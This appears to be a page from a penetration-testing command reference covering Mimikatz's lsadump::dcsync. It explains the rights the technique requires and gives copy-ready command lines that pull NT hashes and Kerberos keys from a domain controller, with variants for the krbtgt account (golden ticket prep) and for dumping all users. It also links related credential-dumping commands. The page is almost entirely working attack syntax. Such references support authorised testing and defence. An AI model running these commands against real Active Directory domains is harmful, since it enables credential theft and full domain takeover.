Mimikatz lsadump::dcsync

Pull a single user's NT hash and Kerberos keys directly from a DC via the MS-DRSR replication protocol. No code runs on the DC. Requires DCSync rights (DA, EA, or explicit Replicating Directory Changes / Replicating Directory Changes All).

Curated and verified by Ahmad Alawneh, penetration tester (OSCP+, CRTE) · Last updated April 10, 2026

Tool

mimikatz.exe

Category

Credential Attacks / Hash Dumping

Platform

windows

Requires

shell access

Protocols

KERBEROS, RPC

Open in Command Manager

Syntax

Angle-bracket tokens are placeholders — replace them with your target's values, or open this command in the app to fill them in and copy the result.

mimikatz.exe "lsadump::dcsync /domain:<domain> /user:<target-user>" exit

Credential variants

The same attack using a different authentication material.

krbtgt (Golden Ticket Prep) requires shell access

mimikatz.exe "lsadump::dcsync /domain:<domain> /user:krbtgt" exit

All Users requires shell access

mimikatz.exe "lsadump::dcsync /domain:<domain> /all /csv" exit

Examples

mimikatz.exe "lsadump::dcsync /domain:corp.local /user:krbtgt" exit

Tags

mimikatz dcsync drsuapi

Related commands

• Impacket DPAPI Masterkey Decrypt DPAPI masterkey using user password to derive DPAPI encryption key
• Impacket Secrets Dump Dump hashes from remote Windows system (SAM, LSA, NTDS)
• Impacket Targeted DCSync (Single User) DCSync only one specific account instead of replicating the whole NTDS. Massively…
• Lsassy LSASS Dump Remotely dump LSASS credentials using lsassy
• Mimikatz Credential Dump Extract plaintext passwords and hashes from all available sources
• Mimikatz dpapi::masterkey Decrypt a DPAPI master key using the owner's plaintext password (or NT hash). Required…
• Mimikatz lsadump::sam Extract local SAM hashes (built-in Administrator, local users) from a live Windows host.…
• Mimikatz sekurlsa::logonpasswords Dump credentials (NT hashes, Kerberos keys, plaintext where wdigest is enabled, MSV1_0)…